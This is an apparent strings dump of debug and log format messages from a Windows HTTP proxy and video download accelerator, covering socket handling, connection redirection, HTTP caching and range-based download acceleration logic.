[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)

HttpProxyRemote::StartJob

[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d

[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d

[RequestInfo::SetPassThrough] Req:%d - ON

[RequestInfo] Req:%d

[~RequestInfo] Req:%d

https:

%s=%s%s%s

[HttpCookieJar::GetCookie] Removing cookie: %s

[HttpCookieJar::SetCookies] Removing cookie: %s

[NetworkEventsSink::RefreshSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::ClearSocketMessages] Messages: %d

[NetworkEventsSink::Find] socket %d - was found.

[NetworkEventsSink::Find] socket %d

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d

[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d

[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d

[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.

UNSUPPORTED_EVENT

[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.

[NetworkEventsSink::Work] The class %s was register.

[NetworkEventsSink::Work] ___Error register the class %s. LE: %d

[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.

[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.

[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink

[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.

[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.

[NetworkEventsSink::AddSocket] socket %d - Added events sink.

[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.

[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink

[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.

[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d

[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s

[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s

[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s

[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d

[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s

[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::FindCacheData] Url: %s

Cookie: %s

[CHttpCacheManager::DestroyCacheData] Url: %s

[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s

[CHttpCacheManager::StopAllCaching]

[CHttpCacheManager::Work] ...Leave

[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d

[CHttpCacheManager::Work] Enter...

[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d

[AsyncSocket::Read] socket %d, Read: %d, Total: %lld

[AsyncSocket::Read] ___Warning - socket %d can't read from yet.

[AsyncSocket::Read] ___Error reading from socket %d. LE: %d

[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)

[AsyncSocket::Write] ___Error - socket %d. LE: %d.

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.

[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...

[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).

[AsyncSocket::Write] ___Error - socket %d invalid.

[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u

%u.%u.%u.%u

[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u

[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d

[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X

[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p

[AsyncSocket::GetOverlappedResult] socket %d

[AsyncSocket] socket %d

[AsyncSocket::Initialize] socket %d was initialized.

[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.

[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d

[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d

[AsyncSocket::UnInitialize] socket %d

[AsyncSocket::Close] socket %d, do nothing

[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection

[AsyncSocket::Close] socket %d

[~AsyncSocket] socket %d

[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d

[AsyncSocket::Bind] new socket %d - %s : %d

[AsyncSocket::Bind] socket %d - %s : %d

[AsyncSocket::Connect] socket %d - connected !

[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d

[AsyncSocket::Connect] ___Error socket %d, LE: %d

[AsyncSocket::Connect] socket %d - Already connected !

[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u

[AsyncSocket::Connect] socket %d - IP: %s, Port: %u

[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)

[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)

[CProxyServerPassThrough] FDM=%d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d

[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.

[SubjectDataProperty::Serialize] ___Error not supported yet

[SubjectDataProperty::Deserialize] ___Error not supported yet

m_PropertyValue.pszValue

m_PropertyValue.pValue

[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p

[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p

[CacheManager::Pause] FDM=%d

[CacheManager::Resume] FDM=%d

[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)

[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld

[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)

[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...

[CacheManager::StopCacheData] FDM=%d

[CacheManager::Stop] FDM=%d

[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!

[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld

[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty

[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld

[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***

[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)

[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d

[CacheManager::RemoveAllWorkers] FDM=%d

[~CacheManager - %p] FDM=%d

[CacheManager::Reset] FDM=%d

[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p

[JobsManager::MergeFailedJobs] Job:%d  = Job:%d

[JobsManager::CreateJob] Job:%d, %lld-%lld

[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist

[JobsManager::CreateTimeJob] Job:%d, %lld-0

[JobsManager::DestroyJob] Job:%d

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION

[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)

[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)

[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.

[AccelerationLogicHD::IsPartner] Partner = %d

[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d

[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld

[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d

[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges

[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d

[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d

[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld

[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)

[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain

AccelerationLogicHD::AccelerateIsSupported

[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)

[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d

[AccelerationLogicHD::Reset] FDM=%d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule

[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d

[CConnectionsManager::ResetStartAcceleration] AvgBps: %d

[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)

[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)

[CConnectionsManagerSocket] socket %d

[CConnectionsManagerSocket::OnReadEvent] socket %d

[CConnectionsManagerSocket::OnWriteEvent] socket %d

[CConnectionsManagerSocket::OnCloseEvent] socket %d

[CConnectionsManagerSocket::OnAcceptEvent] socket %d

[CConnectionsManagerSocket::OnConnectEvent] socket %d

[~CConnectionsManagerSocket] socket %d

[CConnectionsManager::OnReadEvent] socket %d

[CConnectionsManager::OnWriteEvent] socket %d

[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms

[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d

[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d

[CConnectionsManager::AddConnection] ___Warning socket %d - not connected

[CConnectionsManager::Work] Remote: %s:%d - Done.

[CConnectionsManager::Work] ___Error Connect socket %d

[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x

[CConnectionsManager::Work] Add socket %d - Remote: %s:%d

[CConnectionsManager::Work] Remote: %s:%d

[CConnectionsManager::Cleanup] %d sockets left in map

[CConnectionsManager::Cleanup] Cleaning %d sockets from map

[CConnectionsManager::RemoveConnection] socket %d

[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***

[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName

[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d

[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d

[CConnectionsManager::OnCloseEvent] socket %d

lighttpd/1.4.8

[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld

[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)

[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld

[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)

[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)

[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d

[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d

[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld

[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d

[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d

[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)

[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)

[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)

[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)

[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d

[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)

[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d

[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d

[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d

[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule

AppleWebKit

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.

AccelerationLogic::AccelerateIsSupported

[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s

[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s

[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s

[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s

[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d

NonSupportRangeServersList

[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s

[AccelerationLogic::CreateAnyRule] FDM=%d

[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported

[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s

[AccelerationLogic::Reset] FDM=%d

[~AccelerationLogic - %p] FDM=%d - ... Leave

[~AccelerationLogic - %p] FDM=%d - Enter ...

[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d

[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes

[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld

[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d

[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld

[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d

[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes

[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d

[CHttpCacheData] CD:%d, Url: %s

[~CHttpCacheData] CD:%d

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d

[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)

